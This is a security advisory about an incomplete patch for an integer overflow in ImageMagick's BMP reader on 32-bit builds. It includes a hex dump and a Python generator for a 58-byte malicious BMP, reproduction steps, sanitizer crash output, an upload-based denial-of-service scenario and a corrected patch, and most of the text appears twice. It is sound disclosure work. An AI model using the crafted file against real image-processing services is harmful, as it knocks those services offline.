Headline
GHSA-9pp9-cfwx-54rm: ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)
Summary
CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but the fix is incomplete and ineffective. The latest version 7.1.2-5 remains vulnerable to the same integer overflow attack.
The patch added BMPOverflowCheck() but placed it after the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.
Affected Versions:
- ImageMagick < 7.1.2-2 (originally reported)
- ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)
Platform and Configuration Requirements:
- 32-bit systems ONLY (i386, i686, armv7l, etc.)
- Requires
size_t = 4 bytes. (64-bit systems are NOT vulnerable (size_t = 8 bytes)) - Requires modified resource limits: The default
width,height, andarealimits must have been manually increased (Systems using default ImageMagick resource limits are NOT vulnerable).
Details(Root Cause Analysis)
Vulnerable Code Location
File: coders/bmp.c
Lines: 1120-1122 (in version 7.1.2-5)
The Incomplete Patch
// Line 1120: Integer overflow happens HERE
extent = image->columns * bmp_info.bits_per_pixel; // OVERFLOW!
// Line 1121: Uses already-overflowed value
bytes_per_line = 4*((extent+31)/32);
// Line 1122: Checks the RESULT, not the multiplication
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");
Why the Patch Fails
Attack Vector (32-bit system):
Input BMP Header:
Width: 536,870,912 (0x20000000)
Height: 1
Bits Per Pixel: 32
Calculation on 32-bit system:
extent = 536,870,912 × 32
= 17,179,869,184 (0x400000000)
32-bit truncation:
0x400000000 & 0xFFFFFFFF = 0x00000000 ← Overflow to ZERO!
bytes_per_line = 4 × ((0 + 31) / 32)
= 4 × 0
= 0
BMPOverflowCheck(0, 1):
return (1 != 0) && (0 > 4294967295UL/1)
return True && (0 > 4294967295)
return True && False
return False ← Does NOT detect overflow!
The check fails because:
- The overflow happens at Line 1120 (extent calculation)
extentbecomes 0 due to 32-bit truncationbytes_per_lineis calculated as 0 (Line 1121)BMPOverflowCheck(0, 1)returns False (no overflow detected)- Code proceeds with corrupted values → ASan crash
PoC(Proof of Concept)
Minimal 58-byte BMP File
Hex dump:
00000000 42 4d 3a 00 00 00 00 00 00 00 36 00 00 00 28 00 |BM:.......6...(.|
00000010 00 00 00 00 00 20 01 00 00 00 01 00 20 00 00 00 |..... ...... ...|
00000020 00 00 00 00 00 00 13 0b 00 00 13 0b 00 00 00 00 |................|
00000030 00 00 00 00 00 00 00 00 00 00 |..........|
Key Fields:
- Offset 0x12: Width =
00 00 00 20= 0x20000000 (536,870,912) - Offset 0x16: Height =
01 00 00 00= 1 - Offset 0x1C: BPP =
20 00= 32
Python Generator
#!/usr/bin/env python3
import struct
width = 0x20000000 # 536,870,912
height = 1
bpp = 32
# BMP File Header (14 bytes)
file_header = b'BM'
file_header += struct.pack('<I', 58) # File size
file_header += struct.pack('<HH', 0, 0) # Reserved
file_header += struct.pack('<I', 54) # Pixel offset
# DIB Header (40 bytes)
dib_header = struct.pack('<I', 40) # Header size
dib_header += struct.pack('<i', width) # Width
dib_header += struct.pack('<i', height) # Height
dib_header += struct.pack('<H', 1) # Planes
dib_header += struct.pack('<H', bpp) # BPP
dib_header += struct.pack('<I', 0) # Compression
dib_header += struct.pack('<I', 0) # Image size
dib_header += struct.pack('<i', 2835) # X ppm
dib_header += struct.pack('<i', 2835) # Y ppm
dib_header += struct.pack('<I', 0) # Colors
dib_header += struct.pack('<I', 0) # Important colors
pixel_data = b'\x00\x00\x00\x00'
with open('overflow.bmp', 'wb') as f:
f.write(file_header + dib_header + pixel_data)
print(f"Created overflow.bmp (58 bytes)")
Reproduction Steps
Environment Setup
# Use 32-bit Docker container
docker run -it --name test-32bit i386/ubuntu:latest bash
# Install dependencies
apt-get update
apt-get install -y clang build-essential wget tar \
libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \
zlib1g-dev liblzma-dev libbz2-dev
# Download ImageMagick 7.1.2-5
cd /tmp
wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz
tar xzf 7.1.2-5.tar.gz
cd ImageMagick-7.1.2-5
Build with AddressSanitizer (32-bit IMPORTANT!)
# Configure for 32-bit build (CRITICAL - must be 32-bit!)
./configure \
--host=i686-pc-linux-gnu \
--disable-dependency-tracking \
--disable-silent-rules \
--disable-shared \
--disable-openmp \
--disable-docs \
--without-x \
--without-perl \
--without-magick-plus-plus \
--without-lqr \
--without-zstd \
--without-tiff \
--with-quantum-depth=8 \
--disable-hdri \
CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
LDFLAGS="-fsanitize=address,undefined"
make -j$(nproc)
### Trigger the Vulnerability
```bash
# Set environment to bypass cache.c limits
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1"
export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000
# Test with malicious BMP (use Python script above to create it)
./utilities/magick identify overflow.bmp
AddressSanitizer Output
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37
"((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0)
=================================================================
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80
"((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0)
==56720==WARNING: ASan is ignoring requested __asan_handle_no_return:
stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)
False positive error reports may follow
For details see https://github.com/google/sanitizers/issues/189
It operates in the following environments.
export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000
Impact
Attack Scenario
- Attacker creates a 58-byte malicious BMP file
- Uploads to web service that uses ImageMagick (on 32-bit system)
- ImageMagick attempts to process the image
- Integer overflow triggers AddressSanitizer crash
- Service becomes unavailable (Denial of Service)
Real-world targets:
- Web hosting platforms with image processing
- CDN services with thumbnail generation
- Legacy embedded systems
- IoT devices running 32-bit Linux
- Docker containers using 32-bit base images
Recommended Fix
Correct Patch
The overflow check must happen before the multiplication:
// Add overflow check BEFORE calculating extent
if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)
ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");
// Now safe to calculate
extent = image->columns * bmp_info.bits_per_pixel;
bytes_per_line = 4*((extent+31)/32);
// Additional safety check
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");
Alternative: Use 64-bit Arithmetic
// Force 64-bit calculation
uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;
if (extent_64 > UINT32_MAX)
ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");
extent = (size_t)extent_64;
bytes_per_line = 4*((extent+31)/32);
Credits
wooseokdotkim wooseokdotkim@gmail.com
Summary
CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but the fix is incomplete and ineffective. The latest version 7.1.2-5 remains vulnerable to the same integer overflow attack.
The patch added BMPOverflowCheck() but placed it after the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.
Affected Versions:
- ImageMagick < 7.1.2-2 (originally reported)
- ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)
Platform and Configuration Requirements:
- 32-bit systems ONLY (i386, i686, armv7l, etc.)
- Requires size_t = 4 bytes. (64-bit systems are NOT vulnerable (size_t = 8 bytes))
- Requires modified resource limits: The default width, height, and area limits must have been manually increased (Systems using default ImageMagick resource limits are NOT vulnerable).
Details(Root Cause Analysis)****Vulnerable Code Location
File: coders/bmp.c
Lines: 1120-1122 (in version 7.1.2-5)
The Incomplete Patch
// Line 1120: Integer overflow happens HERE extent = image->columns * bmp_info.bits_per_pixel; // OVERFLOW!
// Line 1121: Uses already-overflowed value bytes_per_line = 4*((extent+31)/32);
// Line 1122: Checks the RESULT, not the multiplication if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, “InsufficientImageDataInFile”);
Why the Patch Fails
Attack Vector (32-bit system):
Input BMP Header:
Width: 536,870,912 (0x20000000)
Height: 1
Bits Per Pixel: 32
Calculation on 32-bit system:
extent = 536,870,912 × 32
= 17,179,869,184 (0x400000000)
32-bit truncation:
0x400000000 & 0xFFFFFFFF = 0x00000000 ← Overflow to ZERO!
bytes_per_line = 4 × ((0 + 31) / 32)
= 4 × 0
= 0
BMPOverflowCheck(0, 1):
return (1 != 0) && (0 > 4294967295UL/1)
return True && (0 > 4294967295)
return True && False
return False ← Does NOT detect overflow!
The check fails because:
- The overflow happens at Line 1120 (extent calculation)
- extent becomes 0 due to 32-bit truncation
- bytes_per_line is calculated as 0 (Line 1121)
- BMPOverflowCheck(0, 1) returns False (no overflow detected)
- Code proceeds with corrupted values → ASan crash
PoC(Proof of Concept)****Minimal 58-byte BMP File
Hex dump:
00000000 42 4d 3a 00 00 00 00 00 00 00 36 00 00 00 28 00 |BM:.......6...(.|
00000010 00 00 00 00 00 20 01 00 00 00 01 00 20 00 00 00 |..... ...... ...|
00000020 00 00 00 00 00 00 13 0b 00 00 13 0b 00 00 00 00 |................|
00000030 00 00 00 00 00 00 00 00 00 00 |..........|
Key Fields:
- Offset 0x12: Width = 00 00 00 20 = 0x20000000 (536,870,912)
- Offset 0x16: Height = 01 00 00 00 = 1
- Offset 0x1C: BPP = 20 00 = 32
Python Generator
#!/usr/bin/env python3 import struct
width = 0x20000000 # 536,870,912 height = 1 bpp = 32
# BMP File Header (14 bytes) file_header = b’BM’ file_header += struct.pack('<I’, 58) # File size file_header += struct.pack('<HH’, 0, 0) # Reserved file_header += struct.pack('<I’, 54) # Pixel offset
# DIB Header (40 bytes) dib_header = struct.pack('<I’, 40) # Header size dib_header += struct.pack('<i’, width) # Width dib_header += struct.pack('<i’, height) # Height dib_header += struct.pack('<H’, 1) # Planes dib_header += struct.pack('<H’, bpp) # BPP dib_header += struct.pack('<I’, 0) # Compression dib_header += struct.pack('<I’, 0) # Image size dib_header += struct.pack('<i’, 2835) # X ppm dib_header += struct.pack('<i’, 2835) # Y ppm dib_header += struct.pack('<I’, 0) # Colors dib_header += struct.pack('<I’, 0) # Important colors
pixel_data = b’\x00\x00\x00\x00’
with open('overflow.bmp’, ‘wb’) as f: f.write(file_header + dib_header + pixel_data)
print(f"Created overflow.bmp (58 bytes)")
Reproduction Steps****Environment Setup
Use 32-bit Docker container
docker run -it --name test-32bit i386/ubuntu:latest bash
Install dependencies
apt-get update apt-get install -y clang build-essential wget tar \ libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \ zlib1g-dev liblzma-dev libbz2-dev
Download ImageMagick 7.1.2-5
cd /tmp wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz tar xzf 7.1.2-5.tar.gz cd ImageMagick-7.1.2-5
Build with AddressSanitizer (32-bit IMPORTANT!)
Configure for 32-bit build (CRITICAL - must be 32-bit!)
./configure \ –host=i686-pc-linux-gnu \ –disable-dependency-tracking \ –disable-silent-rules \ –disable-shared \ –disable-openmp \ –disable-docs \ –without-x \ –without-perl \ –without-magick-plus-plus \ –without-lqr \ –without-zstd \ –without-tiff \ –with-quantum-depth=8 \ –disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined"
make -j$(nproc)
### Trigger the Vulnerability
```bash
Set environment to bypass cache.c limits
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1" export MAGICK_WIDTH_LIMIT=2000000000 export MAGICK_HEIGHT_LIMIT=2000000000 export MAGICK_AREA_LIMIT=10000000000
Test with malicious BMP (use Python script above to create it)
./utilities/magick identify overflow.bmp
AddressSanitizer Output
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37
"((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0)
=================================================================
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80
"((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0)
==56720==WARNING: ASan is ignoring requested __asan_handle_no_return:
stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)
False positive error reports may follow
For details see https://github.com/google/sanitizers/issues/189
It operates in the following environments.
export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000
Impact****Attack Scenario
- Attacker creates a 58-byte malicious BMP file
- Uploads to web service that uses ImageMagick (on 32-bit system)
- ImageMagick attempts to process the image
- Integer overflow triggers AddressSanitizer crash
- Service becomes unavailable (Denial of Service)
Real-world targets:
- Web hosting platforms with image processing
- CDN services with thumbnail generation
- Legacy embedded systems
- IoT devices running 32-bit Linux
- Docker containers using 32-bit base images
Recommended Fix****Correct Patch
The overflow check must happen before the multiplication:
// Add overflow check BEFORE calculating extent if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse) ThrowReaderException(CorruptImageError, “IntegerOverflowInDimensions”);
// Now safe to calculate extent = image->columns * bmp_info.bits_per_pixel; bytes_per_line = 4*((extent+31)/32);
// Additional safety check if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, “InsufficientImageDataInFile”);
Alternative: Use 64-bit Arithmetic
// Force 64-bit calculation uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;
if (extent_64 > UINT32_MAX) ThrowReaderException(CorruptImageError, “ImageDimensionsTooLarge”);
extent = (size_t)extent_64; bytes_per_line = 4*((extent+31)/32);
Credits
wooseokdotkim
wooseokdotkim@gmail.com
References
- GHSA-9pp9-cfwx-54rm
- https://nvd.nist.gov/vuln/detail/CVE-2025-62171
- ImageMagick/ImageMagick@cea1693
- https://github.com/dlemstra/Magick.NET/releases/tag/14.9.0